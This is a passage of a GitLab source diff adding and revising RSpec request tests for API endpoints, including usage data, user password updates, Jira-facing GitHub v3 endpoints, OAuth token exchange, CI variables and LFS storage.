describe 'POST /projects/:id/terraform/state/:name' do
- let(:params) { { 'instance': 'example-instance' } }
+ let(:params) { { 'instance': 'example-instance', 'serial': '1' } }
subject(:request) { post api(state_path), headers: auth_header, as: :json, params: params }
diff --git a/spec/requests/api/todos_spec.rb b/spec/requests/api/todos_spec.rb
index dfd0e13d84c..bc315c5b3c6 100644
--- a/spec/requests/api/todos_spec.rb
+++ b/spec/requests/api/todos_spec.rb
@@ -34,6 +34,29 @@ RSpec.describe API::Todos do
end
context 'when authenticated' do
+ context 'when invalid params' do
+ context "invalid action" do
+ it 'returns 400' do
+ get api('/todos', john_doe), params: { action: 'InvalidAction' }
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context "invalid state" do
+ it 'returns 400' do
+ get api('/todos', john_doe), params: { state: 'InvalidState' }
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context "invalid type" do
+ it 'returns 400' do
+ get api('/todos', john_doe), params: { type: 'InvalidType' }
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+ end
+
it 'returns an array of pending todos for current user' do
get api('/todos', john_doe)
diff --git a/spec/requests/api/usage_data_spec.rb b/spec/requests/api/usage_data_spec.rb
new file mode 100644
index 00000000000..46dd54dcc73
--- /dev/null
+++ b/spec/requests/api/usage_data_spec.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::UsageData do
+ let_it_be(:user) { create(:user) }
+
+ describe 'POST /usage_data/increment_unique_users' do
+ let(:endpoint) { '/usage_data/increment_unique_users' }
+ let(:known_event) { 'g_compliance_dashboard' }
+ let(:unknown_event) { 'unknown' }
+
+ context 'without CSRF token' do
+ it 'returns forbidden' do
+ stub_feature_flags(usage_data_api: true)
+ allow(Gitlab::RequestForgeryProtection).to receive(:verified?).and_return(false)
+
+ post api(endpoint, user), params: { event: known_event }
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+
+ context 'usage_data_api feature not enabled' do
+ it 'returns not_found' do
+ stub_feature_flags(usage_data_api: false)
+
+ post api(endpoint, user), params: { event: known_event }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'without authentication' do
+ it 'returns 401 response' do
+ post api(endpoint), params: { event: known_event }
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'with authentication' do
+ before do
+ stub_feature_flags(usage_data_api: true)
+ stub_feature_flags("usage_data_#{known_event}" => true)
+ stub_application_setting(usage_ping_enabled: true)
+ allow(Gitlab::RequestForgeryProtection).to receive(:verified?).and_return(true)
+ end
+
+ context 'when event is missing from params' do
+ it 'returns bad request' do
+ post api(endpoint, user), params: {}
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+
+ context 'with correct params' do
+ it 'returns status ok' do
+ expect(Gitlab::Redis::HLL).to receive(:add)
+
+ post api(endpoint, user), params: { event: known_event }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'with unknown event' do
+ it 'returns status ok' do
+ expect(Gitlab::Redis::HLL).not_to receive(:add)
+
+ post api(endpoint, user), params: { event: unknown_event }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/requests/api/users_spec.rb b/spec/requests/api/users_spec.rb
index 6c6497a240b..806b586ef49 100644
--- a/spec/requests/api/users_spec.rb
+++ b/spec/requests/api/users_spec.rb
@@ -348,6 +348,26 @@ RSpec.describe API::Users, :do_not_mock_admin_mode do
expect(response).to match_response_schema('public_api/v4/user/basics')
expect(json_response.first.keys).not_to include 'is_admin'
end
+
+ context 'exclude_internal param' do
+ let_it_be(:internal_user) { User.alert_bot }
+
+ it 'returns all users when it is not set' do
+ get api("/users?exclude_internal=false", user)
+
+ expect(response).to match_response_schema('public_api/v4/user/basics')
+ expect(response).to include_pagination_headers
+ expect(json_response.map { |u| u['id'] }).to include(internal_user.id)
+ end
+
+ it 'returns all non internal users when it is set' do
+ get api("/users?exclude_internal=true", user)
+
+ expect(response).to match_response_schema('public_api/v4/user/basics')
+ expect(response).to include_pagination_headers
+ expect(json_response.map { |u| u['id'] }).not_to include(internal_user.id)
+ end
+ end
end
context "when admin" do
@@ -894,6 +914,50 @@ RSpec.describe API::Users, :do_not_mock_admin_mode do
expect(response).to have_gitlab_http_status(:ok)
end
+ context 'updating password' do
+ def update_password(user, admin, password = User.random_password)
+ put api("/users/#{user.id}", admin), params: { password: password }
+ end
+
+ context 'admin updates their own password' do
+ it 'does not force reset on next login' do
+ update_password(admin, admin)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(user.reload.password_expired?).to eq(false)
+ end
+
+ it 'does not enqueue the `admin changed your password` email' do
+ expect { update_password(admin, admin) }
+ .not_to have_enqueued_mail(DeviseMailer, :password_change_by_admin)
+ end
+
+ it 'enqueues the `password changed` email' do
+ expect { update_password(admin, admin) }
+ .to have_enqueued_mail(DeviseMailer, :password_change)
+ end
+ end
+
+ context 'admin updates the password of another user' do
+ it 'forces reset on next login' do
+ update_password(user, admin)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(user.reload.password_expired?).to eq(true)
+ end
+
+ it 'enqueues the `admin changed your password` email' do
+ expect { update_password(user, admin) }
+ .to have_enqueued_mail(DeviseMailer, :password_change_by_admin)
+ end
+
+ it 'does not enqueue the `password changed` email' do
+ expect { update_password(user, admin) }
+ .not_to have_enqueued_mail(DeviseMailer, :password_change)
+ end
+ end
+ end
+
it "updates user with new bio" do
put api("/users/#{user.id}", admin), params: { bio: 'new test bio' }
@@ -920,13 +984,6 @@ RSpec.describe API::Users, :do_not_mock_admin_mode do
expect(user.reload.bio).to eq('')
end
- it "updates user with new password and forces reset on next login" do
- put api("/users/#{user.id}", admin), params: { password: '12345678' }
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(user.reload.password_expires_at).to be <= Time.now
- end
-
it "updates user with organization" do
put api("/users/#{user.id}", admin), params: { organization: 'GitLab' }
@@ -1377,7 +1434,7 @@ RSpec.describe API::Users, :do_not_mock_admin_mode do
end
end
- describe 'POST /users/:id/keys' do
+ describe 'POST /users/:id/gpg_keys' do
it 'does not create invalid GPG key' do
post api("/users/#{user.id}/gpg_keys", admin)
diff --git a/spec/requests/api/v3/github_spec.rb b/spec/requests/api/v3/github_spec.rb
new file mode 100644
index 00000000000..86ddf4a78d8
--- /dev/null
+++ b/spec/requests/api/v3/github_spec.rb
@@ -0,0 +1,516 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::V3::Github do
+ let(:user) { create(:user) }
+ let(:unauthorized_user) { create(:user) }
+ let(:admin) { create(:user, :admin) }
+ let(:project) { create(:project, :repository, creator: user) }
+
+ before do
+ project.add_maintainer(user)
+ end
+
+ describe 'GET /orgs/:namespace/repos' do
+ it 'returns an empty array' do
+ group = create(:group)
+
+ jira_get v3_api("/orgs/#{group.path}/repos", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq([])
+ end
+
+ it 'returns 200 when namespace path include a dot' do
+ group = create(:group, path: 'foo.bar')
+
+ jira_get v3_api("/orgs/#{group.path}/repos", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ describe 'GET /user/repos' do
+ it 'returns an empty array' do
+ jira_get v3_api('/user/repos', user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq([])
+ end
+ end
+
+ shared_examples_for 'Jira-specific mimicked GitHub endpoints' do
+ describe 'GET /.../issues/:id/comments' do
+ let(:merge_request) do
+ create(:merge_request, source_project: project, target_project: project)
+ end
+
+ let!(:note) do
+ create(:note, project: project, noteable: merge_request)
+ end
+
+ context 'when user has access to the merge request' do
+ it 'returns an array of notes' do
+ jira_get v3_api("/repos/#{path}/issues/#{merge_request.id}/comments", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an(Array)
+ expect(json_response.size).to eq(1)
+ end
+ end
+
+ context 'when user has no access to the merge request' do
+ let(:project) { create(:project, :private) }
+
+ before do
+ project.add_guest(user)
+ end
+
+ it 'returns 404' do
+ jira_get v3_api("/repos/#{path}/issues/#{merge_request.id}/comments", user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ describe 'GET /.../pulls/:id/commits' do
+ it 'returns an empty array' do
+ jira_get v3_api("/repos/#{path}/pulls/xpto/commits", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq([])
+ end
+ end
+
+ describe 'GET /.../pulls/:id/comments' do
+ it 'returns an empty array' do
+ jira_get v3_api("/repos/#{path}/pulls/xpto/comments", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq([])
+ end
+ end
+ end
+
+ # Here we test that using /-/jira as namespace/project still works,
+ # since that is how old Jira setups will talk to us
+ context 'old /-/jira endpoints' do
+ it_behaves_like 'Jira-specific mimicked GitHub endpoints' do
+ let(:path) { '-/jira' }
+ end
+
+ it 'returns an empty Array for events' do
+ jira_get v3_api('/repos/-/jira/events', user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq([])
+ end
+ end
+
+ context 'new :namespace/:project jira endpoints' do
+ it_behaves_like 'Jira-specific mimicked GitHub endpoints' do
+ let(:path) { "#{project.namespace.path}/#{project.path}" }
+ end
+
+ describe 'GET /users/:username' do
+ let!(:user1) { create(:user, username: 'jane.porter') }
+
+ context 'user exists' do
+ it 'responds with the expected user' do
+ jira_get v3_api("/users/#{user.username}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to match_response_schema('entities/github/user')
+ end
+ end
+
+ context 'user does not exist' do
+ it 'responds with the expected status' do
+ jira_get v3_api('/users/unknown_user_name', user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'no rights to request user lists' do
+ before do
+ expect(Ability).to receive(:allowed?).with(unauthorized_user, :read_users_list, :global).and_return(false)
+ expect(Ability).to receive(:allowed?).at_least(:once).and_call_original
+ end
+
+ it 'responds with forbidden' do
+ jira_get v3_api("/users/#{user.username}", unauthorized_user)
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
+ describe 'GET events' do
+ let(:group) { create(:group) }
+ let(:project) { create(:project, :empty_repo, path: 'project.with.dot', group: group) }
+ let(:events_path) { "/repos/#{group.path}/#{project.path}/events" }
+
+ context 'if there are no merge requests' do
+ it 'returns an empty array' do
+ jira_get v3_api(events_path, user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq([])
+ end
+ end
+
+ context 'if there is a merge request' do
+ let!(:merge_request) { create(:merge_request, source_project: project, target_project: project, author: user) }
+
+ it 'returns an event' do
+ jira_get v3_api(events_path, user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an(Array)
+ expect(json_response.size).to eq(1)
+ end
+ end
+
+ context 'if there are more merge requests' do
+ let!(:merge_request) { create(:merge_request, id: 10000, source_project: project, target_project: project, author: user) }
+ let!(:merge_request2) { create(:merge_request, id: 10001, source_project: project, source_branch: generate(:branch), target_project: project, author: user) }
+
+ it 'returns the expected amount of events' do
+ jira_get v3_api(events_path, user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an(Array)
+ expect(json_response.size).to eq(2)
+ end
+
+ it 'ensures each event has a unique id' do
+ jira_get v3_api(events_path, user)
+
+ ids = json_response.map { |event| event['id'] }.uniq
+ expect(ids.size).to eq(2)
+ end
+ end
+ end
+ end
+
+ describe 'repo pulls' do
+ let(:project2) { create(:project, :repository, creator: user) }
+ let(:assignee) { create(:user) }
+ let(:assignee2) { create(:user) }
+ let!(:merge_request) do
+ create(:merge_request, source_project: project, target_project: project, author: user, assignees: [assignee])
+ end
+
+ let!(:merge_request_2) do
+ create(:merge_request, source_project: project2, target_project: project2, author: user, assignees: [assignee, assignee2])
+ end
+
+ before do
+ project2.add_maintainer(user)
+ end
+
+ describe 'GET /-/jira/pulls' do
+ it 'returns an array of merge requests with github format' do
+ jira_get v3_api('/repos/-/jira/pulls', user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an(Array)
+ expect(json_response.size).to eq(2)
+ expect(response).to match_response_schema('entities/github/pull_requests')
+ end
+ end
+
+ describe 'GET /repos/:namespace/:project/pulls' do
+ it 'returns an array of merge requests for the proper project in github format' do
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/pulls", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to be_an(Array)
+ expect(json_response.size).to eq(1)
+ expect(response).to match_response_schema('entities/github/pull_requests')
+ end
+ end
+
+ describe 'GET /repos/:namespace/:project/pulls/:id' do
+ context 'when user has access to the merge requests' do
+ it 'returns the requested merge request in github format' do
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/pulls/#{merge_request.id}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to match_response_schema('entities/github/pull_request')
+ end
+ end
+
+ context 'when user has no access to the merge request' do
+ it 'returns 404' do
+ project.add_guest(unauthorized_user)
+
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/pulls/#{merge_request.id}", unauthorized_user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'when instance admin' do
+ it 'returns the requested merge request in github format' do
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/pulls/#{merge_request.id}", admin)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to match_response_schema('entities/github/pull_request')
+ end
+ end
+ end
+ end
+
+ describe 'GET /users/:namespace/repos' do
+ let(:group) { create(:group, name: 'foo') }
+
+ def expect_project_under_namespace(projects, namespace, user)
+ jira_get v3_api("/users/#{namespace.path}/repos", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(response).to match_response_schema('entities/github/repositories')
+
+ projects.each do |project|
+ hash = json_response.find do |hash|
+ hash['name'] == ::Gitlab::Jira::Dvcs.encode_project_name(project)
+ end
+
+ raise "Project #{project.full_path} not present in response" if hash.nil?
+
+ expect(hash['owner']['login']).to eq(namespace.path)
+ end
+ expect(json_response.size).to eq(projects.size)
+ end
+
+ context 'group namespace' do
+ let(:project) { create(:project, group: group) }
+ let!(:project2) { create(:project, :public, group: group) }
+
+ it 'returns an array of projects belonging to group excluding the ones user is not directly a member of, even when public' do
+ expect_project_under_namespace([project], group, user)
+ end
+
+ context 'when instance admin' do
+ let(:user) { create(:user, :admin) }
+
+ it 'returns an array of projects belonging to group' do
+ expect_project_under_namespace([project, project2], group, user)
+ end
+
+ context 'with a private group' do
+ let(:group) { create(:group, :private) }
+ let!(:project2) { create(:project, :private, group: group) }
+
+ it 'returns an array of projects belonging to group' do
+ expect_project_under_namespace([project, project2], group, user)
+ end
+ end
+ end
+ end
+
+ context 'nested group namespace' do
+ let(:group) { create(:group, :nested) }
+ let!(:parent_group_project) { create(:project, group: group.parent, name: 'parent_group_project') }
+ let!(:child_group_project) { create(:project, group: group, name: 'child_group_project') }
+
+ before do
+ group.parent.add_maintainer(user)
+ end
+
+ it 'returns an array of projects belonging to group with github format' do
+ expect_project_under_namespace([parent_group_project, child_group_project], group.parent, user)
+ end
+
+ it 'avoids N+1 queries' do
+ jira_get v3_api("/users/#{group.parent.path}/repos", user)
+
+ control = ActiveRecord::QueryRecorder.new { jira_get v3_api("/users/#{group.parent.path}/repos", user) }
+
+ new_group = create(:group, parent: group.parent)
+ create(:project, :repository, group: new_group, creator: user)
+
+ expect { jira_get v3_api("/users/#{group.parent.path}/repos", user) }.not_to exceed_query_limit(control)
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'user namespace' do
+ let(:project) { create(:project, namespace: user.namespace) }
+
+ it 'returns an array of projects belonging to user namespace with github format' do
+ expect_project_under_namespace([project], user.namespace, user)
+ end
+ end
+
+ context 'namespace path includes a dot' do
+ let(:project) { create(:project, group: group) }
+ let(:group) { create(:group, name: 'foo.bar') }
+
+ before do
+ group.add_maintainer(user)
+ end
+
+ it 'returns an array of projects belonging to group with github format' do
+ expect_project_under_namespace([project], group, user)
+ end
+ end
+
+ context 'unauthenticated' do
+ it 'returns 401' do
+ jira_get v3_api('/users/foo/repos', nil)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'namespace does not exist' do
+ it 'responds with not found status' do
+ jira_get v3_api('/users/noo/repos', user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ describe 'GET /repos/:namespace/:project/branches' do
+ context 'authenticated' do
+ context 'updating project feature usage' do
+ it 'counts Jira Cloud integration as enabled' do
+ user_agent = 'Jira DVCS Connector Vertigo/4.42.0'
+
+ Timecop.freeze do
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/branches", user), user_agent
+
+ expect(project.reload.jira_dvcs_cloud_last_sync_at).to be_like_time(Time.now)
+ end
+ end
+
+ it 'counts Jira Server integration as enabled' do
+ user_agent = 'Jira DVCS Connector/3.2.4'
+
+ Timecop.freeze do
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/branches", user), user_agent
+
+ expect(project.reload.jira_dvcs_server_last_sync_at).to be_like_time(Time.now)
+ end
+ end
+ end
+
+ it 'returns an array of project branches with github format' do
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/branches", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response).to be_an(Array)
+
+ expect(response).to match_response_schema('entities/github/branches')
+ end
+
+ it 'returns 200 when project path include a dot' do
+ project.update!(path: 'foo.bar')
+
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/branches", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'returns 200 when namespace path include a dot' do
+ group = create(:group, path: 'foo.bar')
+ project = create(:project, :repository, group: group)
+ project.add_reporter(user)
+
+ jira_get v3_api("/repos/#{group.path}/#{project.path}/branches", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'unauthenticated' do
+ it 'returns 401' do
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/branches", nil)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'unauthorized' do
+ it 'returns 404 when lower access level' do
+ project.add_guest(unauthorized_user)
+
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/branches", unauthorized_user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ describe 'GET /repos/:namespace/:project/commits/:sha' do
+ let(:commit) { project.repository.commit }
+ let(:commit_id) { commit.id }
+
+ context 'authenticated' do
+ it 'returns commit with github format' do
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/commits/#{commit_id}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to match_response_schema('entities/github/commit')
+ end
+
+ it 'returns 200 when project path include a dot' do
+ project.update!(path: 'foo.bar')
+
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/commits/#{commit_id}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'returns 200 when namespace path include a dot' do
+ group = create(:group, path: 'foo.bar')
+ project = create(:project, :repository, group: group)
+ project.add_reporter(user)
+
+ jira_get v3_api("/repos/#{group.path}/#{project.path}/commits/#{commit_id}", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'unauthenticated' do
+ it 'returns 401' do
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/commits/#{commit_id}", nil)
+
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'unauthorized' do
+ it 'returns 404 when lower access level' do
+ project.add_guest(unauthorized_user)
+
+ jira_get v3_api("/repos/#{project.namespace.path}/#{project.path}/commits/#{commit_id}",
+ unauthorized_user)
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+ end
+
+ def jira_get(path, user_agent = 'Jira DVCS Connector/3.2.4')
+ get path, headers: { 'User-Agent' => user_agent }
+ end
+
+ def v3_api(path, user = nil, personal_access_token: nil, oauth_access_token: nil)
+ api(
+ path,
+ user,
+ version: 'v3',
+ personal_access_token: personal_access_token,
+ oauth_access_token: oauth_access_token
+ )
+ end
+end
diff --git a/spec/requests/api/variables_spec.rb b/spec/requests/api/variables_spec.rb
index 7bb73e9664b..1ae9b0d548d 100644
--- a/spec/requests/api/variables_spec.rb
+++ b/spec/requests/api/variables_spec.rb
@@ -60,25 +60,10 @@ RSpec.describe API::Variables do
let!(:var2) { create(:ci_variable, project: project, key: 'key1', environment_scope: 'production') }
context 'when filter[environment_scope] is not passed' do
- context 'FF ci_variables_api_filter_environment_scope is enabled' do
- it 'returns 409' do
- get api("/projects/#{project.id}/variables/key1", user)
+ it 'returns 409' do
+ get api("/projects/#{project.id}/variables/key1", user)
- expect(response).to have_gitlab_http_status(:conflict)
- end
- end
-
- context 'FF ci_variables_api_filter_environment_scope is disabled' do
- before do
- stub_feature_flags(ci_variables_api_filter_environment_scope: false)
- end
-
- it 'returns random one' do
- get api("/projects/#{project.id}/variables/key1", user)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['key']).to eq('key1')
- end
+ expect(response).to have_gitlab_http_status(:conflict)
end
end
@@ -232,25 +217,10 @@ RSpec.describe API::Variables do
let!(:var2) { create(:ci_variable, project: project, key: 'key1', environment_scope: 'production') }
context 'when filter[environment_scope] is not passed' do
- context 'FF ci_variables_api_filter_environment_scope is enabled' do
- it 'returns 409' do
- get api("/projects/#{project.id}/variables/key1", user)
+ it 'returns 409' do
+ get api("/projects/#{project.id}/variables/key1", user)
- expect(response).to have_gitlab_http_status(:conflict)
- end
- end
-
- context 'FF ci_variables_api_filter_environment_scope is disabled' do
- before do
- stub_feature_flags(ci_variables_api_filter_environment_scope: false)
- end
-
- it 'updates random one' do
- put api("/projects/#{project.id}/variables/key1", user), params: { value: 'new_val' }
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['value']).to eq('new_val')
- end
+ expect(response).to have_gitlab_http_status(:conflict)
end
end
@@ -312,26 +282,10 @@ RSpec.describe API::Variables do
let!(:var2) { create(:ci_variable, project: project, key: 'key1', environment_scope: 'production') }
context 'when filter[environment_scope] is not passed' do
- context 'FF ci_variables_api_filter_environment_scope is enabled' do
- it 'returns 409' do
- get api("/projects/#{project.id}/variables/key1", user)
-
- expect(response).to have_gitlab_http_status(:conflict)
- end
- end
-
- context 'FF ci_variables_api_filter_environment_scope is disabled' do
- before do
- stub_feature_flags(ci_variables_api_filter_environment_scope: false)
- end
+ it 'returns 409' do
+ get api("/projects/#{project.id}/variables/key1", user)
- it 'deletes random one' do
- expect do
- delete api("/projects/#{project.id}/variables/key1", user), params: { 'filter[environment_scope]': 'production' }
-
- expect(response).to have_gitlab_http_status(:no_content)
- end.to change {project.variables.count}.by(-1)
- end
+ expect(response).to have_gitlab_http_status(:conflict)
end
end
diff --git a/spec/requests/git_http_spec.rb b/spec/requests/git_http_spec.rb
index 5b6ffabb7ac..dbba2b35d74 100644
--- a/spec/requests/git_http_spec.rb
+++ b/spec/requests/git_http_spec.rb
@@ -763,7 +763,7 @@ RSpec.describe 'Git HTTP requests' do
context 'and build created by' do
before do
- build.update(user: user)
+ build.update!(user: user)
project.add_reporter(user)
end
diff --git a/spec/requests/jira_authorizations_spec.rb b/spec/requests/jira_authorizations_spec.rb
new file mode 100644
index 00000000000..24c6001814c
--- /dev/null
+++ b/spec/requests/jira_authorizations_spec.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Jira authorization requests' do
+ let(:user) { create :user }
+ let(:application) { create :oauth_application, scopes: 'api' }
+ let(:redirect_uri) { oauth_jira_callback_url(host: "http://www.example.com") }
+
+ def generate_access_grant
+ create :oauth_access_grant, application: application, resource_owner_id: user.id, redirect_uri: redirect_uri
+ end
+
+ describe 'POST access_token' do
+ let(:client_id) { application.uid }
+ let(:client_secret) { application.secret }
+
+ it 'returns values similar to a POST to /oauth/token' do
+ post_data = {
+ client_id: client_id,
+ client_secret: client_secret
+ }
+
+ post '/oauth/token', params: post_data.merge({
+ code: generate_access_grant.token,
+ grant_type: 'authorization_code',
+ redirect_uri: redirect_uri
+ })
+ oauth_response = json_response
+
+ post '/login/oauth/access_token', params: post_data.merge({
+ code: generate_access_grant.token
+ })
+ jira_response = response.body
+
+ access_token, scope, token_type = oauth_response.values_at('access_token', 'scope', 'token_type')
+ expect(jira_response).to eq("access_token=#{access_token}&scope=#{scope}&token_type=#{token_type}")
+ end
+
+ context 'when authorization fails' do
+ before do
+ post '/login/oauth/access_token', params: {
+ client_id: client_id,
+ client_secret: client_secret,
+ code: try(:code) || generate_access_grant.token
+ }
+ end
+
+ shared_examples 'an unauthorized request' do
+ it 'returns 401' do
+ expect(response).to have_gitlab_http_status(:unauthorized)
+ end
+ end
+
+ context 'when client_id is invalid' do
+ let(:client_id) { "invalid_id" }
+
+ it_behaves_like 'an unauthorized request'
+ end
+
+ context 'when client_secret is invalid' do
+ let(:client_secret) { "invalid_secret" }
+
+ it_behaves_like 'an unauthorized request'
+ end
+
+ context 'when code is invalid' do
+ let(:code) { "invalid_code" }
+
+ it 'returns bad request' do
+ expect(response).to have_gitlab_http_status(:bad_request)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/requests/jira_routing_spec.rb b/spec/requests/jira_routing_spec.rb
new file mode 100644
index 00000000000..a627eea33a8
--- /dev/null
+++ b/spec/requests/jira_routing_spec.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'Jira referenced paths', type: :request do
+ using RSpec::Parameterized::TableSyntax
+
+ let(:user) { create(:user) }
+
+ let(:group) { create(:group, name: 'group') }
+ let(:sub_group) { create(:group, name: 'subgroup', parent: group) }
+
+ let!(:group_project) { create(:project, name: 'group_project', namespace: group) }
+ let!(:sub_group_project) { create(:project, name: 'sub_group_project', namespace: sub_group) }
+
+ before do
+ group.add_owner(user)
+
+ login_as user
+ end
+
+ def redirects_to_canonical_path(jira_path, redirect_path)
+ get(jira_path)
+
+ expect(response).to redirect_to(redirect_path)
+ end
+
+ context 'with encoded subgroup path' do
+ where(:jira_path, :redirect_path) do
+ '/group/group@sub_group@sub_group_project' | '/group/sub_group/sub_group_project'
+ '/group@sub_group/group@sub_group@sub_group_project' | '/group/sub_group/sub_group_project'
+ '/group/group@sub_group@sub_group_project/commit/1234567' | '/group/sub_group/sub_group_project/commit/1234567'
+ '/group/group@sub_group@sub_group_project/tree/1234567' | '/group/sub_group/sub_group_project/-/tree/1234567'
+ end
+
+ with_them do
+ context 'with legacy prefix' do
+ it 'redirects to canonical path' do
+ redirects_to_canonical_path "/-/jira#{jira_path}", redirect_path
+ end
+ end
+
+ it 'redirects to canonical path' do
+ redirects_to_canonical_path jira_path, redirect_path
+ end
+ end
+ end
+
+ context 'regular paths with legacy prefix' do
+ where(:jira_path, :redirect_path) do
+ '/-/jira/group/group_project' | '/group/group_project'
+ '/-/jira/group/group_project/commit/1234567' | '/group/group_project/commit/1234567'
+ '/-/jira/group/group_project/tree/1234567' | '/group/group_project/-/tree/1234567'
+ end
+
+ with_them do
+ it 'redirects to canonical path' do
+ redirects_to_canonical_path jira_path, redirect_path
+ end
+ end
+ end
+
+ context 'when tree path has an @' do
+ let(:path) { '/group/project/tree/folder-with-@' }
+
+ it 'does not do a redirect' do
+ get path
+
+ expect(response).not_to have_gitlab_http_status(:moved_permanently)
+ end
+ end
+end
diff --git a/spec/requests/lfs_http_spec.rb b/spec/requests/lfs_http_spec.rb
index fd4261fb50d..31bb0586e9f 100644
--- a/spec/requests/lfs_http_spec.rb
+++ b/spec/requests/lfs_http_spec.rb
@@ -786,7 +786,7 @@ RSpec.describe 'Git LFS API and storage' do
let(:authorization) { authorize_deploy_key }
let(:update_user_permissions) do
- project.deploy_keys_projects.create(deploy_key: key, can_push: true)
+ project.deploy_keys_projects.create!(deploy_key: key, can_push: true)
end
it_behaves_like 'pushes new LFS objects', renew_authorization: false
@@ -991,7 +991,7 @@ RSpec.describe 'Git LFS API and storage' do
context 'and workhorse requests upload finalize for a new LFS object' do
before do
- lfs_object.destroy
+ lfs_object.destroy!
end
context 'with object storage disabled' do
@@ -1009,7 +1009,7 @@ RSpec.describe 'Git LFS API and storage' do
end
let(:tmp_object) do
- fog_connection.directories.new(key: 'lfs-objects').files.create(
+ fog_connection.directories.new(key: 'lfs-objects').files.create( # rubocop: disable Rails/SaveBang
key: 'tmp/uploads/12312300',
body: 'content'
)
@@ -1080,7 +1080,7 @@ RSpec.describe 'Git LFS API and storage' do
context 'without the lfs object' do
before do
- lfs_object.destroy
+ lfs_object.destroy!
end
it 'rejects slashes in the tempfile name (path traversal)' do
diff --git a/spec/requests/profiles/notifications_controller_spec.rb b/spec/requests/profiles/notifications_controller_spec.rb
index d60cee00aef..87669b3594c 100644
--- a/spec/requests/profiles/notifications_controller_spec.rb
+++ b/spec/requests/profiles/notifications_controller_spec.rb
@@ -5,8 +5,8 @@ require 'spec_helper'
RSpec.describe 'view user notifications' do
let(:user) do
create(:user) do |user|
- user.emails.create(email: 'original@example.com', confirmed_at: Time.current)
- user.emails.create(email: 'new@example.com', confirmed_at: Time.current)
+ user.emails.create!(email: 'original@example.com', confirmed_at: Time.current)
+ user.emails.create!(email: 'new@example.com', confirmed_at: Time.current)
user.notification_email = 'original@example.com'
